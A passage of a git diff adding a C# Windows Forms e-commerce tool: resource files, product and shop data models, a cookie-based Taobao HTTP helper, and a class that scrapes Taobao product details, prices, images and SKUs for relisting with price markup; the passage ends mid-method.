obj = ResourceManager.GetObject("x-2.1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_3_0 { + get { + object obj = ResourceManager.GetObject("x-3.0", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_3_1 { + get { + object obj = ResourceManager.GetObject("x-3.1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_4_0 { + get { + object obj = ResourceManager.GetObject("x-4.0", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_4_1 { + get { + object obj = ResourceManager.GetObject("x-4.1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_5_0 { + get { + object obj = ResourceManager.GetObject("x-5.0", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_5_1 { + get { + object obj = ResourceManager.GetObject("x-5.1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_6_0 { + get { + object obj = ResourceManager.GetObject("x-6.0", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_6_1 { + get { + object obj = ResourceManager.GetObject("x-6.1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + } +} diff --git a/Work/Properties/Resources.resx b/Work/Properties/Resources.resx new file mode 100644 index 0000000..ea0e246 --- /dev/null +++ b/Work/Properties/Resources.resx @@ -0,0 +1,193 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\close.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-6.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\BaseMsgInfo.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\min.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\normal.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-4.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\normal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\btncheckoff1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\min.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-3.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-5.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-5.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-2.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\BaseMsgErr.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-6.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\max.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\close.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\BaseMsgQue.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-3.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-2.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\max.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-4.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\btncheckon1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\icon.ico;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/Work/ProvinceBase.cs b/Work/ProvinceBase.cs new file mode 100644 index 0000000..bbf5d09 --- /dev/null +++ b/Work/ProvinceBase.cs @@ -0,0 +1,16 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work +{ + public class ProvinceBase + { + public string name = ""; + public string id = ""; + public string parent_id = ""; + public Dictionary city = new Dictionary(); + } +} diff --git a/Work/Resources/BaseMsgErr.png b/Work/Resources/BaseMsgErr.png new file mode 100644 index 0000000..1912f06 Binary files /dev/null and b/Work/Resources/BaseMsgErr.png differ diff --git a/Work/Resources/BaseMsgInfo.png b/Work/Resources/BaseMsgInfo.png new file mode 100644 index 0000000..f0c961e Binary files /dev/null and b/Work/Resources/BaseMsgInfo.png differ diff --git a/Work/Resources/BaseMsgQue.png b/Work/Resources/BaseMsgQue.png new file mode 100644 index 0000000..59ff5e0 Binary files /dev/null and b/Work/Resources/BaseMsgQue.png differ diff --git a/Work/Resources/btncheckoff1.png b/Work/Resources/btncheckoff1.png new file mode 100644 index 0000000..bfa8ebb Binary files /dev/null and b/Work/Resources/btncheckoff1.png differ diff --git a/Work/Resources/btncheckon1.png b/Work/Resources/btncheckon1.png new file mode 100644 index 0000000..2bab009 Binary files /dev/null and b/Work/Resources/btncheckon1.png differ diff --git a/Work/Resources/close.hover.png b/Work/Resources/close.hover.png new file mode 100644 index 0000000..232de18 Binary files /dev/null and b/Work/Resources/close.hover.png differ diff --git a/Work/Resources/close.png b/Work/Resources/close.png new file mode 100644 index 0000000..784b6f1 Binary files /dev/null and b/Work/Resources/close.png differ diff --git a/Work/Resources/icon.ico b/Work/Resources/icon.ico new file mode 100644 index 0000000..ecb3eea Binary files /dev/null and b/Work/Resources/icon.ico differ diff --git a/Work/Resources/max.hover.png b/Work/Resources/max.hover.png new file mode 100644 index 0000000..2d7f0e4 Binary files /dev/null and b/Work/Resources/max.hover.png differ diff --git a/Work/Resources/max.png b/Work/Resources/max.png new file mode 100644 index 0000000..6094a07 Binary files /dev/null and b/Work/Resources/max.png differ diff --git a/Work/Resources/min.hover.png b/Work/Resources/min.hover.png new file mode 100644 index 0000000..992c843 Binary files /dev/null and b/Work/Resources/min.hover.png differ diff --git a/Work/Resources/min.png b/Work/Resources/min.png new file mode 100644 index 0000000..bf878d8 Binary files /dev/null and b/Work/Resources/min.png differ diff --git a/Work/Resources/normal.hover.png b/Work/Resources/normal.hover.png new file mode 100644 index 0000000..1aa68e4 Binary files /dev/null and b/Work/Resources/normal.hover.png differ diff --git a/Work/Resources/normal.png b/Work/Resources/normal.png new file mode 100644 index 0000000..bb1a37a Binary files /dev/null and b/Work/Resources/normal.png differ diff --git a/Work/Resources/x-2.0.png b/Work/Resources/x-2.0.png new file mode 100644 index 0000000..ec43a88 Binary files /dev/null and b/Work/Resources/x-2.0.png differ diff --git a/Work/Resources/x-2.1.png b/Work/Resources/x-2.1.png new file mode 100644 index 0000000..a1613be Binary files /dev/null and b/Work/Resources/x-2.1.png differ diff --git a/Work/Resources/x-3.0.png b/Work/Resources/x-3.0.png new file mode 100644 index 0000000..2dec8c5 Binary files /dev/null and b/Work/Resources/x-3.0.png differ diff --git a/Work/Resources/x-3.1.png b/Work/Resources/x-3.1.png new file mode 100644 index 0000000..d6ee7f0 Binary files /dev/null and b/Work/Resources/x-3.1.png differ diff --git a/Work/Resources/x-4.0.png b/Work/Resources/x-4.0.png new file mode 100644 index 0000000..71aa5e4 Binary files /dev/null and b/Work/Resources/x-4.0.png differ diff --git a/Work/Resources/x-4.1.png b/Work/Resources/x-4.1.png new file mode 100644 index 0000000..4ef5860 Binary files /dev/null and b/Work/Resources/x-4.1.png differ diff --git a/Work/Resources/x-5.0.png b/Work/Resources/x-5.0.png new file mode 100644 index 0000000..2a2053d Binary files /dev/null and b/Work/Resources/x-5.0.png differ diff --git a/Work/Resources/x-5.1.png b/Work/Resources/x-5.1.png new file mode 100644 index 0000000..e19516c Binary files /dev/null and b/Work/Resources/x-5.1.png differ diff --git a/Work/Resources/x-6.0.png b/Work/Resources/x-6.0.png new file mode 100644 index 0000000..ef4a45f Binary files /dev/null and b/Work/Resources/x-6.0.png differ diff --git a/Work/Resources/x-6.1.png b/Work/Resources/x-6.1.png new file mode 100644 index 0000000..a5aab66 Binary files /dev/null and b/Work/Resources/x-6.1.png differ diff --git a/Work/SearchSame/ProductInfo.cs b/Work/SearchSame/ProductInfo.cs new file mode 100644 index 0000000..4a6a1c4 --- /dev/null +++ b/Work/SearchSame/ProductInfo.cs @@ -0,0 +1,173 @@ +using NaiBa.Util.Model; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.SearchSame +{ + public class ProductInfo + { + /// + /// 商品Id + /// + public long ProductId { get; set; } + public string ProductUrl { get; set; } + /// + /// 商品标题 + /// + public string ProductName { get; set; } + public long CategoryId { get; set; } + /// + /// 主词 + /// + public string MainKeyword { get; set; } + /// + /// 副词 + /// + public string ViceKeyword { get; set; } + /// + /// 裂变标题 + /// + public string FissionProductName { get; set; } + public string ProductNamePrefix { get; set; } + /// + /// 商品内容 + /// + public string ProductContent { get; set; } + /// + /// 商品内容不包含图片 + /// + public string ProductContentWithOutImg { get; set; } + /// + /// 评分 + /// + public decimal Rate { get; set; } + /// + /// 评论数 + /// + public int CommentCount { get; set; } + public decimal Coupon { get; set; } + public int PromotionRate { get; set; } + /// + /// 销售数量 + /// + public int SaleCount { get; set; } + public decimal FissionPrice { get; set; } + public decimal MinPrice { get; set; } + public decimal MaxPrice { get; set; } + /// + /// 返还 + /// + public decimal Rebate { get; set; } + /// + /// 创建时间 + /// + public DateTime CreateTime { get; set; } + /// + /// 创建人 + /// + public string Creator { get; set; } + /// + /// 商品来源平台 + /// + public int Platform { get; set; } + + + /// + /// 默认图片(存储格式的键为本地路径,值为线上路径) + /// + public List DefaultImageList { get; set; } + + /// + /// 规格 + /// + public List SpecList { get; set; } + + /// + /// Sku属性 + /// + public List SkuPropertyList { get; set; } + /// + /// Sku值 + /// + public List SkuList { get; set; } + + /// + /// 是否加价 + /// + public int AddPrice { get; set; } + /// + /// 加价比例 + /// + public int AddPricePercent { get; set; } + /// + /// 基础加价 + /// + public decimal AddPriceBaseValue { get; set; } + /// + /// 是否包邮 + /// + public int PostFree { get; set; } + // public ShopInfox ShopInfo { get; set; } + public string MainProductImageUrl { get; set; } + public byte[] MainProductImage { get; set; } + + public string SellPoint { get; set; } + public bool IsCatched { get; set; } + + #region 显示列表时服务端根据场景需求返回的数据,不需要与本地数据库字段对应 + /// + /// sku数 + /// + public int SkuCount { get; set; } + /// + /// 分词标题数 + /// + public int FissionCount { get; set; } + /// + /// 分组名称 + /// + public string CollectGroupName { get; set; } + #endregion + } + + + + public class SpecInfo + { + public long NameId { get; set; } + public string Name { get; set; } + public long ValueId { get; set; } + public string Value { get; set; } + } + + + public class SkuPropertyInfo + { + public long PropertyId { get; set; } + public string PropertyName { get; set; } + public List DetailList { get; set; } + } + + public class SkuPropertyDetailInfo + { + public long ValueId { get; set; } + public string ValueName { get; set; } + /// + /// 图片(存储格式的键为本地路径,值为线上路径) + /// + public KeyValue Image { get; set; } + } + + + public class SkuInfo + { + public long SkuId { get; set; } + public string SkuName { get; set; } + public decimal Price { get; set; } + public string SkuAttr { get; set; } + } + +} diff --git a/Work/ShopChatBase.cs b/Work/ShopChatBase.cs new file mode 100644 index 0000000..704ed49 --- /dev/null +++ b/Work/ShopChatBase.cs @@ -0,0 +1,72 @@ +using AllBase; +using CefSharp.WinForms; +using Newtonsoft.Json; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net.WebSockets; +using System.Text; +using System.Threading.Tasks; + +namespace Work +{ + public class ShopChatBase + { + public string ExpireTime = ""; + public string ShopId = ""; + public string ShopName = ""; + public string Sub_Account_Name = "";//子账号 + public string Name = ""; + public string UserName = ""; + public string UserInfo = ""; + public string PassId = ""; + public int ChatCount = 0; + public string Cookies = ""; + public string CookiesUid = ""; + public string CookiesPid = ""; + public string Password = ""; + public string Message = "";//授权状态 + public string onlineStatus = "";//在线状态 + public bool Showed = false; + public bool CanUpload = true; + public bool Login = false; + public int X = 0; + public int Y = 0; + public int MallId = 0; + public int MainCatId = 0; + public int ReceiverId = 0; + public string MainCatName = ""; + public string UserCatName = ""; + public string ServiceUserName = ""; + public string BuyUserName = ""; + public string UploadUserName = ""; + public int UpCount = 0; + public long ExpressId = 0; + public int WaitTimes = 0; + public string AccessToken = ""; + public string RefreshToken = ""; + public string ClientId = ""; + public string AccessTokenOrder = ""; + public string RefreshTokenOrder = ""; + public DateTime Expiration = DateTime.Now.AddDays(-1); + public DateTime EndDate = DateTime.Now.AddDays(-1); + public int allWait = 0;//待拼团 + public int allBuying = 0;//待拍单 + [JsonIgnore] + public WebSocket client = null; + [JsonIgnore] + public ChromiumWebBrowser Chat = null;//店铺聊天用 + [JsonIgnore] + public ChromiumWebBrowser MainIndex = null;//店铺后台用 + public bool CusIsLogin = false;//店铺是否已经登录--客服集成 + public string ownId = ""; + public string verify_auth_token = ""; + + public ShopChatBase Clone() + { + string html = JsonHelper.SerializeObject(this); + ShopChatBase tp = JsonHelper.DeserializeJsonToObject(html); + return tp; + } + } +} diff --git a/Work/Taobao/TbHttpReauest.cs b/Work/Taobao/TbHttpReauest.cs new file mode 100644 index 0000000..8a78d21 --- /dev/null +++ b/Work/Taobao/TbHttpReauest.cs @@ -0,0 +1,115 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading.Tasks; + +namespace Work.Taobao +{ + public class TbHttpReauest + { + public string url = ""; + public string cookies = ""; + //Calls request functions sequentially. + string responseText; + public string MakeRequests() + { + HttpWebResponse response; + + if (Request_trade_taobao_com(out response)) + { + //Success, possibly use response. + responseText = ReadResponse(response); + + response.Close(); + } + else + { + //Failure, cannot use response. + } + return responseText; + } + + //Returns the text contained in the response. For example, the page HTML. Only handles the most common HTTP encodings. + private static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Encoding enc = Encoding.UTF8; + try + { + var v = response.ResponseUri.Host; + if (v.Contains("trade.1688.com")) + { + enc = Encoding.Default; + } + } + catch (Exception) + { + + } + + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, enc)) + { + return streamReader.ReadToEnd(); + } + } + } + + /// + /// Tries to request the URL: https://trade.taobao.com/trade/detail/trade_order_detail.htm?biz_order_id=1088944291427556938 + /// + /// After the function has finished, will possibly contain the response to the request. + /// True if the request was successful; false otherwise. + private bool Request_trade_taobao_com(out HttpWebResponse response) + { + response = null; + + try + { + //Create request to URL. + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + //Set request headers. + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.Pragma, "no-cache"); + request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache"); + request.Headers.Add("Upgrade-Insecure-Requests", @"1"); + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36"; + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookies); + + //Get response to request. + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + //ProtocolError indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found) + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return false; + } + catch (Exception) + { + if (response != null) response.Close(); + return false; + } + + return true; + } + } +} diff --git a/Work/TaobaoMobileCollect.cs b/Work/TaobaoMobileCollect.cs new file mode 100644 index 0000000..0ea9c98 --- /dev/null +++ b/Work/TaobaoMobileCollect.cs @@ -0,0 +1,634 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using AllBase; + + +namespace Work +{ + + public class TaobaoMobileCollect + { + public string Name, Content; + public bool IsUrlCollect = false, Pinduoduo = false; + public bool IsUpdateSku = false, ThisShopId = false; + public bool GetSuccess = false, NoTemp = false, Delete = false, NoContent = false; + public decimal BeforePrice = 0; + public static Dictionary ProductTemp = new Dictionary(); + + public ProductCollectBase Product; + public TaobaoMobileCollect(ProductCollectBase product) + { + Product = product; + } + + public void Get() + { + if (ProductTemp.ContainsKey(Product.from_id)) + { + Product = ProductTemp[Product.from_id].Clone(); + return; + } + GetSuccess = false; + Delete = false; + string urlProduct = "http://acs.m.taobao.com/h5/mtop.taobao.detail.getdetail/6.0/?api=mtop.taobao.detail.getdetail&v=6.0&ttid=2016%40taobao_h5_2.0.0&isSec=0&ecode=0&AntiFlood=true&AntiCreep=true&H5Request=true&type=jsonp&dataType=jsonp&callback=mtopjsonp1&data=%7B%22exParams%22%3A%22%7B%5C%22id%5C%22%3A%5C%22549564635405%5C%22%7D%22%2C%22itemNumId%22%3A%22" + (ThisShopId ? Product.id : Product.from_id) + "%22%7D"; + bool nokey = false, hadFile = false; + string content = "", newContent = ""; + string refere = "https://h5.m.taobao.com/awp/core/detail.htm?id=" + (ThisShopId ? Product.id : Product.from_id); + //string html =NoTemp?"": TempFileReadWrite.Read(Product.id, "content", out hadFile); + //if(string.IsNullOrEmpty(html)) + // html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true); + string html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true); + if (string.IsNullOrEmpty(html) || !html.Contains("调用成功")) + { + Thread.Sleep(10000); + html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true); + } + if (string.IsNullOrEmpty(html) || !html.Contains("调用成功")) + { + Thread.Sleep(20000); + html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true); + } + if (string.IsNullOrEmpty(html) || !html.Contains("调用成功")) + { + LogSave.Add(Name, "读取页面失败:" + urlProduct); + return; + } + if (string.IsNullOrEmpty(html) || html.Contains("redirectUrl")) + { + LogSave.Add(Name, "宝贝已经下架:" + urlProduct); + return; + } + //if (!hadFile) + // TempFileReadWrite.Write(Product.id, "content",html); + GetSuccess = true; + html = GetHtml.Decode(html).Replace("\\\"", "\"").Replace("\\\\", "\\"); + Product.name = BaseRegex.GetMatchRegexString(ref html, @"""item"":\{[^\}]*?""title"":""([^""]+)"""); + if (string.IsNullOrEmpty(Product.name)) + { + BigDataBuildDelete(Product.from_id, 1); + if (IsUpdateSku) + { + Delete = true; + LogSave.Add(Name, "上家已经删除:" + (ThisShopId ? Product.id : Product.from_id)); + } + else + { + LogSave.Add(Name, "标题获取错误:" + Product.from_url); + } + return; + } + + string pricex = BaseRegex.GetMatchRegexString(ref html, + @"""price"":\{""price"":\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)"""); + if (string.IsNullOrEmpty(pricex)) + pricex = BaseRegex.GetMatchRegexString(ref html, + @"""price"":\{""price"":\{""priceText"":""([\d\.]+)"); + string price_beforex = BaseRegex.GetMatchRegexString(ref html, + @"""extraPrices"":\[\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)"""); + if (string.IsNullOrEmpty(price_beforex)) + { + price_beforex = pricex; + } + if (price_beforex == "0" || string.IsNullOrEmpty(price_beforex)) + { + LogSave.Add("价格为空,退出:" + Product.from_url); + return; + } + + Product.saleCount = BaseRegex.GetIntJson(ref html, "sellCount"); + string eprice = BaseRegex.GetMatchRegexString(ref html, @"""postage"":""快递[::][\s]*([\d\.]+)元"); + Product.express_price = string.IsNullOrEmpty(eprice) ? 0 : decimal.Parse(eprice); + Product.price = decimal.Parse(pricex); + Product.num = BaseRegex.GetIntJson(ref html, "num"); + Product.from_shop_name = BaseRegex.GetStringJson(ref html, "sellerNick"); + if (Product.num == 0) + { + string num = BaseRegex.GetMatchRegexString(ref html, @"""skuCore"":[\w\W]+?""quantity"":""([\d]+)"""); + if (!string.IsNullOrEmpty(num)) + Product.num = int.Parse(num); + } + + Product.discountPrice = decimal.Parse(pricex); + Product.before_price = decimal.Parse(price_beforex); + Product.discount = Product.discountPrice / Product.before_price;//折扣比例 + Product.onlinePrice = Product.discountPrice * Product.shopAddPercent / 100 + new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100), + (int)(Product.shopAddPriceMax * 100)) / 100; + + if (IsUrlCollect) + { + Product.onlinePrice = GetOnlinePrice(Product.price); + } + + if (IsUpdateSku)//如果是更新SKU则直接跳转到SKU部分 + { + goto GetSku; + } + + + + string catId = BaseRegex.GetStringJson(ref html, @"categoryId"); + catId = string.IsNullOrEmpty(catId) ? BaseRegex.GetMatchRegexString(ref html, @"categoryId:([\d]+)") : catId; + if (catId.Contains(",")) + catId = catId.Substring(catId.LastIndexOf(",") + 1); + Product.cat_id = int.Parse(catId); + Product.main_cid = BaseRegex.GetIntJson(ref html, @"rootCategoryId"); + Product.from_cat_id = Product.cat_id; + Product.from_site_id = 1; + if (Product.main_cid == 0) + { + LogSave.Add(Name, "没有找到主分类:" + Product.from_url); + return; + } + //===================标题过滤====================== + string title = Product.name.ToLower(); + long md5 = BaseClass.GetLong(Product.name); + + + foreach (string s in BaseClass.CantTitleKeywords) + { + if (title.Contains(s)) + { + nokey = true; + LogSave.Add(Name, s + " : " + title); + break; + } + } + foreach (string s in BaseClass.CantTitle) + { + if (title.Contains(s)) + { + nokey = true; + LogSave.Add(Name, s + " : " + title); + break; + } + } + foreach (string s in BaseClass.CantCatId) + { + if (Product.cat_id.ToString() == s || Product.main_cid.ToString() == s) + { + nokey = true; + LogSave.Add(Name, s + " : " + title); + break; + } + } + + //string url = "https://hws.m.taobao.com/cache/desc/5.0?callback=backToDesc&id=" + Product.from_id + "&type=0"; + long time; + string data = "data={\"id\":\"" + Product.from_id + "\",\"type\":\"0\"}"; + string sign = GetSign("", data, out time); + + //获取订单详情描述内容 + string url = "https://h5api.m.taobao.com/h5/mtop.taobao.detail.getdesc/6.0/?jsv=2.5.1&appKey=12574478&t=1555394927537&sign=" + sign + "&api=mtop.taobao.detail.getdesc&v=6.0&isSec=0&ecode=0&AntiFlood=true&AntiCreep=true&H5Request=true&type=jsonp&dataType=jsonp&callback=mtopjsonp3&data={\"id\":\"" + Product.from_id + "\",\"type\":\"0\"}"; + + //content = TempFileReadWrite.Read(Product.id, "desc",out hadFile); + //if(string.IsNullOrEmpty(content)) + if (NoContent) + { + content = "不需要描述"; + } + else + { + content = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + if (string.IsNullOrEmpty(content)) + { + Thread.Sleep(10000); + content = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + } + //if (!hadFile) + // TempFileReadWrite.Write(Product.id, "desc", content); + string tempx = BaseRegex.GetMatchRegexString(ref content, @"""wdescContent"":""([\w\W]+?)"",""anchors"); + if (string.IsNullOrEmpty(tempx)) + tempx = BaseRegex.GetMatchRegexString(ref content, "\"wdescContent\":([\\W\\w]+)"); + //tempx = BaseRegex.GetMatchRegexString(ref content, @"""wdescContent"":""([\w\W]+?)"","""); + if (string.IsNullOrEmpty(tempx)) + { + LogSave.Add(Name, "描述正文正则失败,跳过 " + url); + return; + } + content = tempx.Replace("\\\"", "\"").Replace("\\\\", "\\"); + } + + + //识别上家ID + + Product.upShopId = GetUpId(ref content); + + newContent = ClearContent(content); + if (string.IsNullOrEmpty(content) || string.IsNullOrEmpty(newContent)) + { + LogSave.Add(Name, "描述正文为空,跳过 " + url); + return; + } + Content = newContent; + Product.content = Content; + Product.item_size = ""; + Product.item_weight = 1; + Product.state = "浙江"; + Product.city = "杭州"; + string address = BaseRegex.GetMatchRegexString(ref html, @"""delivery"":\{""from"":""([^""]+?)"""); + if (string.IsNullOrEmpty(address)) + address = BaseRegex.GetStringJson(ref html, @"location"); + string[] provice = + "上海,北京,天津,重庆,黑龙江,辽宁,内蒙古,吉林,河北,河南,山西,山东,陕西,青海,宁夏,甘肃,新疆,西藏,四川,云南,贵州,广西,湖南,湖北,安徽,江苏,浙江,广东,福建,海南,台湾,香港,澳门".Split(','); + string[] city = + "上海,北京,天津,重庆,哈尔滨,沈阳,呼和浩特,长春,石家庄,郑州,太远,济南,西安,西宁,银川,兰州,乌鲁木齐,拉萨,成都,昆明,贵阳,南宁,长沙,武汉,合肥,南京,杭州,广州,福州,海口,台北,香港,澳门".Split(','); + if (!string.IsNullOrEmpty(address)) + { + for (int i = 0; i < provice.Length; i++) + { + if (address.Contains(provice[i])) + { + Product.state = provice[i]; + Product.city = city[i]; + break; + } + } + } + + + string temp = BaseRegex.GetMatchRegexString(ref html, @",""images"":\[([^\]]+?)\]"); + if (string.IsNullOrEmpty(temp)) + { + LogSave.Add(Name, "图片错误:" + Product.from_url); + return; + } + var m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+)"""); + if (m.Count == 0) + { + LogSave.Add(Name, "图片错误:" + Product.from_url); + return; + } + for (int i = 0; i < m.Count; i++) + { + Product.Images.Add(m[i].Groups[1].Value); + } + Product.image = Product.Images[0]; + Product.image_from_url = Product.Images[0]; + + temp = BaseRegex.GetMatchRegexString(ref html, @"""props"":\{""groupProps"":([\w\W]+?)\]\},"); + if (!string.IsNullOrEmpty(temp)) + { + m = BaseRegex.GetMatchRegex(ref temp, @"\{""([^""]+)"":""([^""]+)""\}"); + if (m.Count == 0) + { + LogSave.Add("参数错误:" + Product.from_url); + return; + } + for (int i = 0; i < m.Count; i++) + { + string name = m[i].Groups[1].Value; + string value = m[i].Groups[2].Value; + if (name.Length > 50 || value.Length > 50) + continue; + Product.Prop.Add(new KeyValueBase(name, value)); + } + } + GetSku: + bool hadPrice = false; + m = BaseRegex.GetMatchRegex(ref html, + @"\{""pid"":""([\d]+)"",""name"":""([^""]+)"",""values"":\[([\w\W]+?)\]\}"); + for (int i = 0; i < m.Count; i++) + { + PropBase p = new PropBase(); + p.id = long.Parse(m[i].Groups[1].Value); + p.name = m[i].Groups[2].Value; + p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", ""); + bool had = false; + for (int j = 0; j < Product.Props.Count; j++) + { + if (Product.Props[j].name == p.name) + { + p = Product.Props[j]; + had = true; + break; + } + } + temp = m[i].Groups[3].Value; + var mm = BaseRegex.GetMatchRegex(ref temp, @"""vid"":""([\d]+?)"",""name"":""([^""]+?)""[^\}]*\}"); + for (int j = 0; j < mm.Count; j++) + { + string v = mm[j].Groups[1].Value; + string vi = mm[j].Groups[0].Value; + string image = BaseRegex.GetStringJson(ref vi, "image"); + PropValueBase pr = new PropValueBase(); + pr.value = v; + pr.name = mm[j].Groups[2].Value; + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pr.image = image; + pr.image_from_url = image; + bool hadx = false; + for (int k = 0; k < p.Values.Count; k++) + { + if (p.Values[k].name == pr.name) + { + hadx = true; + break; + } + } + if (!hadx) + p.Values.Add(pr); 